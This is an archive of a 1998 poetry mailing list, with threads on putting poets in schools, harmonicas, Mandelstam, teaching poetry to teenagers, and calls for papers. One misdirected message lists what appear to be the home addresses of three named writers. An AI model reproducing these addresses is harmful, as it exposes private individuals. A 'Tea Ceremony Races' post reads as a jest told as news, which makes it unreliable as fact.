>>[--okay, we'll do whatever you say, Henry. We'll call it the National Henry-in-the-Schools Program, or Hee-Haw for short.]<<

Who's paying?

I assume we could solve that peat/perlite problem with mule manure.

cheers,

Harold Rhenisch

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128. **Henry**
Re: National Henry-in-the-Schools Program
Tue 6 Jan 1998

Thank you, Harold, for dashing in where angels fear to tread & responding in a friendly way to yet another Henry slosh of excess blab. I need a teaching job, folks - get me one & I'll let the list rest. Come back, multifarious poetics list! No one writes to the colonel.

Now to your questions. Yes, "creative performance" was enough to shut down every self-respecting synapse out there. But I like greenhouses. I WAS thinking of a "forced growth" situation. Like, not virtual reality or literary elephant hunting snobbism ("Serious sport has nothing to do with fair play. It is bound up with hatred, jealousy, boastfulness, and disregard of all the rules." - George Orwell), i.e. the name-glue game. Instead: a course requirement for an MFA degree would be to design either 1) your own physical reading/performance in a public venue of your own devising, off-campus (subject to a tough-grading prof), or 2) an elementary or high school reading/teaching project. Group projects would be allowed. What this would encourage would be a steady stream of experimental situations and encounters not tied to the usual hierarchies of finesse. Another requirement would be the misnomered "general lit", & what I meant was what I suppose most MFA degress require, some non-WRITING courses: some immersion in the literary background & scholarship.

Once again Henry leaps in ignorance to the fore - correct me, MFA team!

Now as to tenure track from 4th grade: this was simply a very obscure way of saying the feedback loop from study to public performance should stretch down to the youngsters. I'm talking about solidifying a "place" for poetry, like the one music, art, prose, & drama have, in the larger culture, by a greenhouse process of grafting MFA work more directly into the outside world.

How horrible this must sound to you stretched grad students who only want a breathing space from DEMANDS like this in order to WRITE for a year or two. & I don't know what the answer is there. Can you help out here, Blarnes? No. Blarnes is snuffling into his tweed, sound asleep beside a horizontal cup of Old Skidoo.

& to tell the truth, it's all in vain. For in one resounding "CHONGGGGG" the Lord smoteth ye social engineers atoppeth each his pate & ye social engineers were therein in their middest henceforth summoned to read unto themselves in the original Italian Giambattista Vico & to weep salt tears for ye blind & philistine arrogance. Yea, like unto Goliath were they every one, yet Dave the little Poet from San Jose sling-shotteth each every-eth one with his newfoundeth stanza, the Dave Stave - & it was a stunner unto to behold.

- Henry Gould

↑ Index

129. Henry Gould
Re: National Henry-in-the-Schools Program
Tue 6 Jan 1998

Harold Rhenisch, not Henry Gould, deserves credit for Don Byrd's quotes. I think humanists like Vico, & people like Peirce & Dewey, could go a long way toward recasting poetry as a form of reflexive knowledge, in a way that somebody could integrate into a writing curriculum. I point in that direction in some essays about to come out in Mudlark.

But I'd have to disagree that the alphabet is a slushy medium for formal creativity. Milton didn't recast anything but was simply one of the late practitioners of the pretty much lost art of "numbers", or numerical symbolism in verse - these "numbers" in Milton & Spenser are an elegant grid for the most intricate & refined creative amalgams & syntheses of feeling & information. Anyone for example who has read Omry Ronen's long book about only 2 of Mandelstam's fairly short odes (_An Approach to Mandelstam_), in which he goes in depth into the Russian tradition of these same techniques (carried much further toward the present) - showing how a single word or short phrase fans out into dozens of meaning-layers - will know what I mean. (Although Mandelstam DID say poets should "envy crystallography"!) These things weren't lost on the moderns but got jolted into discontinuity, stress & ambiguity.

For the Moby Dick Encyclopedia I'd like to do the entry on "Harmonicas - How to Break Them In By Holding them Out the Car Window While Driving With Your Other Hand". That's all I know much about and I'll do it in the form of a flat-pickin' epic. - Henry Gould

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130. William Slaughter
MUDLARK ANNOUNCEMENT
Wed 7 Jan 1998

Announcing a new MUDLARK poster:
MILLENNIAL GRAIN ELEVATOR by Henry Gould.

2 essays, 2 poems, and notes to the poems
signal a different worldview and a different poetics
as the 20th century turns a corner.

(See also ISLAND ROAD,
Gould's "Shakespearean bacon" sonnet sequence,
published as MUDLARK NO. 6 last year.)

William Slaughter

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

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131. henry
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

On Wed, 7 Jan 1998 00:01:21 -0800 Don Byrd said:
>
> To be sure, the alphabet generates infinite strings of meaning (Ronen's
>book could have gone on indefinitely), but the "layers" are vague analogies
and
>there is no necessity in that visualization. Alphabetic writing is formally
>quite primitive compared, say, to topology.

Well, even Mandelstam my hero might have agreed with you. But the details
which accumulate in a map might be likened to the sounds & meanings which
accumulate (as in an energy generator of some kind) inside these simple
lines, squiggles and curlicues. And the reality they outline might be
just as real & necessary - though less amenable to 2-dimensional layout
and folding with Rest Stops and Exits Before Tolls clearly marked.
(I know you're not talking about Lattice Theory Mirroring here - or I
mean I'M not talking about it... or I mean YOUR'E...'.'.'.'...)
>

> Now, harmonicas. There is a worthy theme. I have been thinking of
>writing about vacuum tubes and the pre-solid state days of electronics.

They correlate somewhere around Sonny Boy Williamson, I reckon [pp. 6,660,066, MOBY DICK vol. 2]
- Henry Gould

↑ Index

132. **Don Byrd**
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

It has been my fantasy of many years that the poets are (or should be) writing a new encyclopedia for which _Moby Dick_ (a poem, of course) is the entry on whales, and it is the task to provide comparable takes on everything else A to Z.

Henry Gould is right on track here:

> *Yessir, I've been in bookstores, I've seen what they do there. You get all these categories of writing, like "Cars" and "SF" and "Womens Studies" and "Gardening" and "Fiction" and "Eastern Religions" and "History" and on and on and on, and then you get "Poetry".*
>
> *In fact, "Poetry" should have the same sections as the others (its own "Cars" and "SF" and "Eastern Religons" and "History" sections, or whatever is deemed appropriate....*

If poets would take the responsibility for _ knowing_ something (not the generality "Gardening" but put growing herbs or roses; not "History" but the Whisky Rebellion or the settlement of Santa Fe), we woulnd't have these dreary discussions of the purpose of poetry.

After, say, Milton or there abouts, poetry got recast as a formal activity, but the alphabet is a very slushy formal medium, and mathematics emerged as the discipline of formal creativity. Poetry became overwhelmingly a medium for expressing private sentiment (see the Poetry Webring as evidence).

The web makes a collaborative encyclopedia altogether feasible. The nearest thing I know is the Cybernetica Project (http://pespmc1.vub.ac.be/DEFAULT.html). (The Project, of course, profits from over three centuries of stunning mathematics and logic.)
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York

Albany, NY 12222
[redacted] (work); [redacted] (dome); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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133. Sawako Nakayasu
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

I teach at a tiny private high school in San Diego--and am in the process of trying to talk my way into teaching a poetry class. I have a few ideas of my own, but I'd love some input on what kinds of poems (and teaching techniques) I might use to induce some excitement about the subject when dealing with teenagers, many of whom are serious TV addicts. Anyone have experience with this?

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134. Don Byrd
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

Henry Gould wrote:

> *Anyone for example who*
> *has read Omry Ronen's long book about only 2 of Mandelstam's fairly*
> *short odes (_An Approach to Mandelstam_), in which he goes in depth*
> *into the Russian tradition of these same techniques (carried much further*
> *toward the present) - showing how a single word or short phrase fans out*
> *into dozens of meaning-layers - will know what I mean.*

To be sure, the alphabet generates infinite strings of meaning (Ronen's book could have gone on indefinitely), but the "layers" are vague analogies and there is no necessity in that visualization. Alphabetic writing is formally quite primitive compared, say, to topology.

Now, harmonicas. There is a worthy theme. I have been thinking of writing about vacuum tubes and the pre-solid state days of electronics.

Hope, I deleted the right "xxx wrote:" this time.

Don

--
****
Don Byrd ([redacted], [redacted])
Department of English

State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (dome); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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135. Henry Gould
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

On Wed, 7 Jan 1998 10:44:46 -0800 Don Byrd said:
>
> The knowledge of the blues harp--this is real culture--and worthy of
>our
>most serious attention. Sadly, most of what remains known about great American
>music has been academized, like poetry, and is now purveyed by places like the
>Berklee School of Music, where people learn all of the chops, missing only the
>music
>(which of course can only be supplied by the life of a community).

I couldn't agree more. I learned most of what I know about poetry from playing the harmonica, the most basic lesson of which is: tone is everything, & don't overplay your notes. (Sometimes I forget not to grandstand. & I'll never play like the greats. "And the sound of the little typewriter sonatina / Is only a shadow of those great sonatas." (Mandelstam, "1 January") - Henry Gould

another harmonica lesson: great organ sounds doth come from itty-bitty instruments. Hear that, guys & gals? & remember: Wallace Stevens, or Big Daddy as he was known in Hartford blues joints, almost called his collected poems THE WHOLE OF HARMONICA. [ain't that right, Blarnes?]

↑ Index

136. Eryque Gleason
(no subject)
Wed 7 Jan 1998

---

i always thought that studying stein and seuss at the same time was a hell of a lot of fun. for the kids that want more "adventure", ed dorn's "gunslinger" is hilarious, playful, has cowboys and a talking horse and a genuine saloon...

eryque

On Tue, 6 Jan 1998, Sawako Nakayasu wrote:

> *I teach at a tiny private high school in San Diego--and am in the process of trying to talk my way into teaching a poetry class. I have a few ideas of my own, but I'd love some input on what kinds of poems (and teaching techniques) I might use to induce some excitement about the subject when dealing with teenagers, many of whom are serious TV addicts. Anyone have experience with this?*

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137. **Alan Myouka Sondheim**

Tea Ceremony Races (fwd)

Wed 7 Jan 1998

-

This is unbelievable - at least for anyone who loves _ma,_ space, and the deliberate manifestation of Zen in all forms of Japanese life.

Fukuoka hosted the first National Tea Ceremony Races yesterday; there were 45 contestants from 31 prefectures. The winner, Ichiro Azato, com- pleted the full ceremony in 16 seconds, including bringing the matcha (ritual tea) to the required 2 centimeters of froth.

It was amazing; there was considerable "chanting" as well, but I have no idea what it meant. And it was incredible, watching Azato's right hand grasp the bamboo whisk, entering the tea with a "perfect frenzy" as far as I could tell.

For those who don't know, the usual ceremony can last up to three hours.

The contest was held on the grounds of the Hakozaki Shrine - We walked up an hour early, and joined the crowd of 1000 or so. There were bleachers! (Later we found that it was broadcast LIVE on NHK Channel 6.)

Alan - there are times I _really_ have culture shock here!

↑ Index

138. **Elizabeth Hatmaker**

Re: ... no subject ...

Wed 7 Jan 1998

RE: teaching high school TV watchin' kids

I taught for a few years at a mid-sized state university and find the TV thing just as common there. Your post doesn't suggest how you feel about TV as something students might write about. Possibly this could be discussed as a class--what does the modern poet write about? How can he/she avoid the media if

they were so inclined? Is TV a "better" medium than poetry for getting across what they want to get across? How are attitudes about poetry and TV similar/ disimilar? Oddly, most of my students, though they knew a lot about TV, thought that the medium was "stupid" and a "waste of time" and did not want to write poetry about TV. So, of course, I made them do it.

Maybe work back and forth between the mediums-- write poetry about different things in TV, then write TV sitcoms about poems (possibly an interesting way for them to interpret poems). I recall vaguely a book of sestinas (I think) about "Perry Mason"--poet's last name is Cummins (I may be way off) I, myself, have written a series of poem based on "Night Gallery." And, of course, "Gunslinger" is very cool.

elizabeth hatmaker

↑ Index

139. Eryque Gleason

Re: National Henry-in-the-Schools Program

Wed 7 Jan 1998

> *I couldn't agree more. I learned most of what I know about poetry from playing the harmonica, the most basic lesson of which is: tone is everything, & don't overplay your notes. (Sometimes I forget not to grandstand.*

henry, i thought a lot of blues performance was *about* grandstanding, about struttin yr stuff and showing that your the baddest one around. A couple months ago i saw big time sarah in chicago perform "hoochie coochie (wo)man" and i'll be damned if she wasn't grandstanding when she got a young man sitting by the stage on his knees in front of her while she mimicked a few sex acts.

~eryque

↑ Index

140. Kasey Silem Mohammad Hicks

Re: Teaching poetry to high school students (Sawako Nakayasu post)

Wed 7 Jan 1998

> *i always thought that studying stein and seuss at the same time was a hell of a lot of fun. for the kids that want more "adventure", ed dorn's "gunslinger" is hilarious, playful, has cowboys and a talking horse and a genuine saloon...*
>
> *eryque*
>
> *On Tue, 6 Jan 1998, Sawako Nakayasu wrote:*

> *I teach at a tiny private high school in San Diego--and am in the process of trying to talk my way into teaching a poetry class. I have a few ideas of my own, but I'd love some input on what kinds of poems (and teaching techniques) I might use to induce some excitement about the subject when dealing with teenagers, many of whom are serious TV addicts. Anyone have experience with this?*

Gunslinger for high school students? _Private_ high schoool students? Good luck. Stein and Seuss sounds like a fruitful conjunction to me, but again I worry (based on my own experience teaching "Writing About Poetry" to Stanford freshpersons) that the obtuseness of Stein or Dorn might be off-putting to considerably sheltered and privileged young adults who more than likely have been indoctrinated with ideals of success, rationality, and pragmatic communication. I've found that these kinds of students tend to want order, sense, and meaning in poetry, and that absurdity pisses them off (even in controlled doses such as in, say, Stevens' "Emperor of Ice Cream"). I worked hard over two quarters trying to get across the idea that language can do other things than relay factual or didactic information, with only limited success.

In a situation like that, I think that canonical texts--Shakespeare, Pope, Frost, etc.--really do make good primers for introducing students to the building blocks of poetry, even if your aim is later to knock those blocks down and show how language can perform radical acts of disruption, blah blah blah. More to the point, I think it may be more persuasive to show that those texts can be as disruptive, in their apparent sane docility, as poems by Stein, et al., than to hit students over the head immediately with jagged-edged chunks of "resistant" discourse.

That said, I offer these not-very-sexy suggestions for some introductory poems: Shakespeare's Sonnet 73 ("That time of year thou may'st in me behold") provides a great bundling of formal patterns and rhetorical strategies for students to unpack, and the strangeness of the early modern English is just manageable enough to get them to read closely while still promising successful deciphering (you have to make good on the offer of the cookie at the end of the chore, at least at first). Similarly, lyrics by Blake, Yeats, Dickinson, and the like are simultaneously short and compacted enough to generate some rudimentary lynx-eyed analysis without exhausting readers. After some confidence manifests itself, try something a little bulkier and less polite, like "Song of Myself," that seems to approach everyday language's random structure but really still contains tons of rhetorical order--let them wade through that and begin to see the conventions that lurk in even seemingly informal styles of discourse (but you probably shouldn't call it that). If they make it this far, it can't hurt to see what they do with more byzantine modernist, objectivist, beat, or even language

poems. In small doses, however--you don't want a mutiny on your hands. Or do you?

Cheers,

Kasey

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141. **henry**
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

On Wed, 7 Jan 1998 11:29:13 -0500 Eryque Gleason said:
>
>henry, i thought a lot of blues performance was *about* grandstanding,
>about struttin yr stuff and showing that your the baddest one around. A
>couple months ago i saw big time sarah in chicago perform "hoochie coochie
>(wo)man" and i'll be damned if she wasn't grandstanding when she got a
>young man sitting by the stage on his knees in front of her while she
>mimicked a few sex acts.

well, if you can get away with it, ok. we are getting into the deep complexities of performancologistics here, clearly. My favorite harp player (actually I have a few) is Sonny Terry, a blind man who played harp upside down & has a very subtle manner & tone, while remaining up country & very green. He's like the Andrew Marvell of blues, if you will. - Henry

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142. **Kasey Silem Mohammad Hicks**
Re: teaching high school TV watchin' kids
Wed 7 Jan 1998

> *Maybe work back and forth between the mediums-- write poetry about different things in TV, then write TV sitcoms about poems (possibly an interesting way for them to interpret poems). I recall vaguely a book of sestinas (I think) about "Perry Mason"--poet's last name is Cummins (I may be way off) I, myself, have written a series of poem based on "Night Gallery." And, of course, "Gunslinger" is very cool.*
>
> *elizabeth hatmaker*

And there are David Trinidad's wonderful sitcom haiku, and his "Double Trouble," which is a dazzling intervention upon "The Patty Duke Show."

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143. William Burmeister Prod
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

Don Byrd wrote:

> *If Mandelstam "envied crystallography," poetry is nearer meteorology or alchemy.*

Yes. Closer to these (most especially alchemy).

> *Now, harmonicas. There is a worthy theme. I have been thinking of writing about vacuum tubes and the pre-solid state days of electronics.*

Speaking of alchemy, if you are going to write about the pre-solid state days of electronics, be sure to include the magic of the so-called crystal radio. This essentially primitive and simple radio receiver requires no power supply and yet is able to (weakly) pull AM band electromagnetic waves out of the air as it were. The key to this is a raw crystal of germanium (I think called "galena" a long time back), which is probed at, or picked, with a sharp pin (or something like that) until you get a signal. Interestingly enough, the circuit's ground is referred to as "earth" ground as it is attached to a stake or a pipe that goes to the soil.

Imagination is more important than knowledge
-- Albert Einstein

William Burmeister

↑ Index

144. Matthew Stadler
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

Hi Travers,

Chuck Palahniuk
13558 NW Riverside Dr
P'land 97231

[redacted]

Bob Gluck
4303 20th St
SF, CA 94114

[redacted]

Lee Williams
2255 NW Johnson #104
P'land 97210

[redacted]

I'd love to have more writing from the likes of you. Scan the books horizon and tell me what interests you. Also, tell me if there are feature ideas you're currently excited about. Yes, let's have drinks soon, like next week sometime, M W or F?

How'd Dave's show go? More soon,

Matthew

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145. Matthew Stadler
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

Uhm, oops. My apologies to Chuck, Bob, and Lee. Matthew S

↑ Index

146. Cadaly
Re: teaching high school TV watchin' kids
Wed 7 Jan 1998

Uh, David Trinidad aside (like him, like his work), I don't really see much benefit here.

Maybe mention that sitcom writing is a valid career path for those without the chops to do the artist thing or for artists who need fast cash. You need to know a lot about STORY, STRUCTURE, CHARACTER, and CONTINUITY. You need to be able to write. Many sitcom writers are frustrated, but very real, poets.

Stupid time-wasting things friends of mine in bands were encouraged to do rather than write poetry: turn poems into song lyrics, set poems to music, write song lyrics rather than poems, etc. Are they still in a band? No. Can they write poetry? No. Same goes for writing poems about tv. In general, who cares?

If you're going to teach poetry, teach regular poetry. What does student tv-watching add to the process? Exposure to another medium, one that is very style conscious (generally, students will have a good sense of genre and style as it changes message).

The poet maudit tradition is always very popular. And symbolism is easy to learn.

Catherine

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147. Elizabeth Hatmaker
Re: teaching high school TV watchin' kids
Wed 7 Jan 1998

how are you using the term "regular poetry"? Those sitcom writers, frustrated poets that they are, would, I suspect, write regular poetry.

As for the value of techniques and exercises, lots and lots of kids don't have what it takes for sitcom writing (not maybe as easy as it might seem), songwriting, or poetry. To suggest that the techniques used to introduce them to these arts as the reason for this doesn't seem quite right. Heck, even teaching "regular" poetry, how many high school level/undergraduate poetry students continue writing it?

Isn't Gunslinger a regular poem? Or the Cummins (again, hope I have the name right) series on Perry Mason?

E. Hatmaker

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148. Don Byrd
Re: National Henry-in-the-Schools Program
Wed 7 Jan 1998

henry wrote:

> *On Wed, 7 Jan 1998 00:01:21 -0800 Don Byrd said:*
>
> *To be sure, the alphabet generates infinite strings of meaning (Ronen's book could have gone on indefinitely), but the "layers" are vague analogies and there is no necessity in that visualization. Alphabetic writing is formally quite primitive compared, say, to topology.*
>
> *Well, even Mandelstam my hero might have agreed with you. But the details which accumulate in a map might be likened to the sounds & meanings which accumulate (as in an energy generator of some kind) inside these simple lines, squiggles and curlicues.*

Of course, I chose poetry rather than topology to work in but formal precision is not its strength. If Mandelstam "envied crystallography," poetry is nearer meteorology or alchemy. Oral poetry is potentially of more formal

interest: compare one of Jackson Mac Low's randomly generated texts to one of his singular performances, for example. Digital media offers poetry an immense formal advantage.

The knowledge of the blues harp--this is real culture--and worthy of our most serious attention. Sadly, most of what remains known about great American music has been academized, like poetry, and is now purveyed by places like the Berklee School of Music, where people learn all of the chops, missing only the music (which of course can only be supplied by the life of a community).

Don

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (dome); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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149. Eryque Gleason

Re: Teaching poetry to high school students (Sawako Nakayasu post)

Wed 7 Jan 1998

> *_Gunslinger_ for high school students? _Private_ high schoool students?*

well, i don't really expect any high-school teachers to get such a book past their department head or school board (though my only real misgiving about teaching this to highschool students is that the talking horse rolls a joint about every two pages). but i do think that this book is much more accessible and _fun_ as an epic poem than, say, homer's works, and i think there's still more than enough there to use it to study epic poetry.

> *off-putting to considerably sheltered and privileged young adults who more than likely have been indoctrinated with ideals of success, rationality, and pragmatic communication. I've found that these kinds of students tend to want order, sense, and meaning in poetry, and that absurdity pisses them off*

i think "all things in moderation" might be the best thing to have in mind here. i remember dreading the poetry units of high school english classes precisely because i knew it was going to be the same old canonical stuff we'd read since sixth or seventh grade. i found formal poetry by long dead europeans uninteresting, disconnected from anything i could relate to.

~eryque

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150. Gwyn McVay
Re: Teaching poetry to high school students (Sawako Nakayasu post)
Wed 7 Jan 1998

---

past their department head or school board (though my only real misgiving about teaching this to highschool students is that the talking horse rolls a joint about every two pages).<<<

I find that using the same method when reading the book adds considerably to its enjoyment, although, like a concert, it is still good fun straight.

Gwyn

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151. William Marsh
teaching h.s. kids
Wed 7 Jan 1998

---

perhaps point out all the word-play in tv ads (i wanted a *bud* light, for ex) and then show them word-play in poetry / do lots of experiments and exercises with pun, anagram, palindrome, charade, rebus, etc. to show how poetry begins with language / the lyrics of Beck and R.E.M. are rich with "stretched-sense" and might provide a good starting point for teaching risk

best,
bill marsh

At 10:42 PM 1/6/98 -0800, you wrote:
>I teach at a tiny private high school in San Diego--and am in the
>process of trying to talk my way into teaching a poetry class. I have a
>few ideas of my own, but I'd love some input on what kinds of poems (and
>teaching techniques) I might use to induce some excitement about the
>subject when dealing with teenagers, many of whom are serious TV
>addicts. Anyone have experience with this?
>
>

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University

[redacted]
http://www.dtai.com/~bmarsh
- -

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152. **sylvester pollet**
Laughlin Session MLA 1998 (fwd)
Wed 7 Jan 1998

I'm just passing this along for Prof. Witemeyer, and remembering some of the Laughlin testimonials from this list. Sylvester

> *From: hugh hazen witemeyer <[redacted]>*
> *Subject: Call for Papers*
>
> *I am trying to organize a Special Session on James Laughlin for the 1998 MLA Convention in San Francisco, December 27-30. The call for papers should appear in the next MLA Newsletter. It will read as follows:*
>
> *JAMES LAUGHLIN OF NEW DIRECTIONS. This session will consider the history of New Directions and the achievement of James Laughlin (1914-1997) as publisher of the moderns, writers' friend, and poet. Abstracts and brief vitae by 9 March; Hugh Witemeyer.*
>
> *My address is Department of English, University of New Mexico, Albuquerque, NM 87131. I would be happy to answer questions about the Session by e-mail, but I would prefer to receive paper proposals in printed form via the snail mail. Please pass this announcement on to anyone you know who might be interested but does not subscribe to the listserv or belong to the MLA. Thanks.*
>
> *Cheers and Happy New Year,*
> *Hugh Witemeyer*

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153. **Thomas Bell**
Re: htmlability and poetry webring
Wed 7 Jan 1998

Reposting two messages that did not get through earlier

Miekal and Bill,

I've been using Hotmetal and trellix which are fairly cheap and quite useable. I've done two poems in both of them as an experiment and come up with a different version with each. I've also posted

them for comment if you are interested: "Flower"
in html (Hotmetal editor) is at
http://www.geocities.com/Athens/Olympus/2562/unnindex.html
and im trellix is at:
http://www.public.usit.net/trbell/unn.htm
"rain" in trellix is at
http://www.public.usit.net/trbell/rain/raindex.htm
and the html versdion is at:
http://www.public.usit.net/trbell/rain/rainind.htm

> *William and Miekal (and others),*
> *I joined about a month ago as an experiment. Joining is no problem and the ring links are unobtrusive. I don't count hits to my page but I have had five people who "hit" books at amazon that I referenced. This means that they had some ointerest in my stuff and were persistent enough to follow my internal links and to want to know more about the books. It also means, of course, that they did not have a lot of spare monbey. I think this follow through on the part of readers is more gratifying than just numbers of hits. So, to answer your query Miekal, I would say the ring would get you a fair amount of readers, but I'm not sure how many would be interested enough to make it worthwhile. I have started some linking with work that I've seen and liked and think that might be a better way to go. BTW, William, do you have a URL to share with us?*
> *tom bell*

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154. **Robin Morris**
Re: teaching high school TV watchin' kids
Wed 7 Jan 1998

I have been coming across the term a great deal lately, and being French-impaired, am not clear on what exactly it means. Poet maudit. Definitions por favor?

Robin

At 01:03 PM 1/7/98 -0500, you wrote:
>
>The poet maudit tradition is always very popular. And symbolism is easy to
>learn.
>
>Catherine
>
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

155. **dw**

Olson and Subjectivity

Wed 7 Jan 1998

PAPER PROPOSALS: Following upon the panel, "Charles Olson and Subjectivity," presented at last year's American Literature Association, Baltimore (May 1997), I seek proposals for papers on related themes. This year again, the Charles Olson Society will sponsor a session at the ALA annual conference (May 28-31) in San Diego. Last year's panel explored the reception of Olson's poetics by women, interrogating constructions of gender and sexuality in his work while seeking to evaluate the contemporary relevance of his poetics. For this year's session, I hope to find proposals that measure Olson's poetics (or his practice) against ethnic and postcolonial critiques of the ways in which mainstream cultural productions suppress or reify the "other." Proposals for papers concerning gender, sexuality, and language are also welcome. The session is open both to studies that historicize Olson's contributions to post World War II poetics and to studies that question the relevance of Olson's poetics to current practice.

Please contact me by return e-mail no later than Jan. 22, 1998 or write Don Wellman, Daniel Webster College, Nashua, NH 03063.

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156. **Brian Carpenter**

Re: teaching high school TV watchin' kids

Wed 7 Jan 1998

On Wed, 7 Jan 1998, Robin Morris wrote:

> *I have been coming across the term a great deal lately, and being French-impaired, am not clear on what exactly it means. Poet maudit. Definitions por favor?*
>
> *Robin*

The Doomed Poet.

BC

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157. Henry Gould
reading in Providence
Wed 7 Jan 1998

I just returned from the tiny Transit Bookshop in the Fox Point neighborhood of town, where in an even tinier adjacent sitting room, Edwin Honig read to an audience of about 25-30. He was in good form, despite having just come out of the hospital after acute asthma troubles (he is 77).

Good form is an understatement; he read mostly new poems which were excellent. Honig could read the phone book, or even perhaps some of my long postings to this list, & make them sound interesting; but he's a genuine lyric poet, whose long, intricate, dense-yet-light, Jamesian sentences compress and amalgamate very high-pitched emotion - laughter, desire, love, grief - very much on the edge and the surface - with a mind full of irony and humor - and an incredibly profuse expressive vocabulary of direct description.

I know this doesn't really tell you much. I told myself I should have taped it - & somebody has to get him to give more readings & do so. I've recorded him before, but he has new poems & this was the perfect milieu, I could have kicked myself for leaving the tape recorder at home. The 1st thing he said after finishing was, "I read somewhere that science can retrieve voices - what's been said - from anytime in history." People laughed & somebody said "you've been reading science fiction." But I think he knows how good he is, & how strange it felt for all of us in this little room to hear the poems drift off into silence.

How to describe it. A large old man, with a large, leonine head, oversize upper body sort of stumbling over an aging pair of legs; his poems imitating his gait, like an elephant dancing; a narrow range but within his meditative vehemence a sense of perfection - this is a rare artist doing what he knows he can do. An incredibly rich diction & descriptive eye, a mind always dwelling on the tragic/grief-stricken/desiring/ridiculous human predicaments. A very powerful intelligence spinning out these playful extensions into syntax, observation & complete & theatrical existential uncertainty. Honig won't give you any answers; the questions are always hovering there, looming ghosts - but in the presence of those ghosts he lopes into the poem's arena which is an encounter with what's in front of him & with what the sentences & rhymes are doing - and then he "thinks out loud" THROUGH this encounter, this experience, into a kind of witty or resigned resolution. Does that help? With a Shakespearean/Brooklyn diction by means of which the words take on a dancing quality, a sad-happy elephant dance. Sorry I can't be more precise.

Al & Mary Cook were in the audience; David Shrayer-Petrov, the Russian poet; Tom Epstein, slavicist, Russian translator & editor of ALEA; Susan Brown, Honig's long-time collaborator on Pessoa translations; my 16-yr old son, who

said he enjoyed it (& that's a compliment). It's a very cute little bookstore on the edge of survival with low-cost paperbacks & curious lore. - Henry Gould

↑ Index

158. **Maria Damon**
Re: ... no subject ...
Wed 7 Jan 1998

---

paul beatty is a poet who uses a lot of tv references in his work. i'm not that familiar w/ tv, so i don't know how fast references become obsolete. still, some kids might enjoy his stuff. also, wnyc-tv had some "poetry spots" that are available at no cost (i believe) to teachers...bob holman might have more info. i've got a tape w/ 3 of them --beatty, tracie morris, and walter lew --and they're just terrific.-md

At 11:10 AM -0500 1/7/98, Elizabeth Hatmaker wrote:
>RE: teaching high school TV watchin' kids
>
>I taught for a few years at a mid-sized state university and find the TV
>thing just as common there. Your post doesn't suggest how you feel about TV
>as something students might write about. Possibly this could be discussed as
>a class-- what does the modern poet write about? How can he/she avoid the
>media if they were so inclined? Is TV a "better" medium than poetry for
>getting across what they want to get across? How are attitudes about poetry
>and TV similar/disimilar? Oddly, most of my students, though they knew a lot
>about TV, thought that the medium was "stupid" and a "waste of time" and did
>not want to write poetry about TV. So, of course, I made them do it.
>
>Maybe work back and forth between the mediums-- write poetry about different
>things in TV, then write TV sitcoms about poems (possibly an interesting way
>for them to interpret poems). I recall vaguely a book of sestinas (I think)
>about "Perry Mason"--poet's last name is Cummins (I may be way off) I,
>myself, have written a series of poem based on "Night Gallery." And, of
>course, "Gunslinger" is very cool.
>
>
>elizabeth hatmaker

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159. **Maria Damon**
Re: teaching high school TV watchin' kids
Wed 7 Jan 1998

---

literally, cursed poet. you know, the poet as outlaw, criminal, addict, suicide, deranged and unappreciated visionary, mendicant prophet, etc;;; coleridge, baudelaire, rimbaud, jim morrison, bob kaufman, francois villon. v popular among adolescent boys. i wanted to write a piece called "cool maudit" about stephen jonas, and still might, though the reference to cool moe dee will be obsolete by the time i ever get around to it.

At 6:53 PM -0500 1/7/98, Robin Morris wrote:
>I have been coming across the term a great deal lately, and being
>French-impaired, am not clear on what exactly it means. Poet maudit.
>Definitions por favor?
>
>Robin
>
>At 01:03 PM 1/7/98 -0500, you wrote:
>>
>>The poet maudit tradition is always very popular. And symbolism is easy to
>>learn.
>>
>>Catherine
>>
>>
>
> * * * * * * * * *
> Robin A. Morris
> [redacted]
> Home page: http://www-unix.oit.umass.edu/~ramorris

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160. **Maria Damon**
Re: Teaching poetry to high school students (Sawako Nakayasu post)
Wed 7 Jan 1998

At 8:49 AM -0800 1/7/98, Kasey Silem Mohammad Hicks wrote:
>>i always thought that studying stein and seuss at the same time was a hell
>>of a lot of fun. for the kids that want more "adventure", ed dorn's
>>"gunslinger" is hilarious, playful, has cowboys and a talking horse and a
>>genuine saloon...
>>

>>eryque
>>
>>On Tue, 6 Jan 1998, Sawako Nakayasu wrote:
>>
>>> I teach at a tiny private high school in San Diego--and am in the
>>> process of trying to talk my way into teaching a poetry class. I have a
>>> few ideas of my own, but I'd love some input on what kinds of poems (and
>>> teaching techniques) I might use to induce some excitement about the
>>> subject when dealing with teenagers, many of whom are serious TV
>>> addicts. Anyone have experience with this?
>>>
>
>_Gunslinger_ for high school students? _Private_ high schoool students?
>Good luck. Stein and Seuss sounds like a fruitful conjunction to me, but
>again I worry (based on my own experience teaching "Writing About Poetry"
>to Stanford freshpersons) that the obtuseness of Stein or Dorn might be
>off-putting to considerably sheltered and privileged young adults who more
>than likely have been indoctrinated with ideals of success, rationality,
>and pragmatic communication. I've found that these kinds of students tend
>to want order, sense, and meaning in poetry, and that absurdity pisses them
>off (even in controlled doses such as in, say, Stevens' "Emperor of Ice
>Cream"). I worked hard over two quarters trying to get across the idea
>that language can do other things than relay factual or didactic
>information, with only limited success.
>

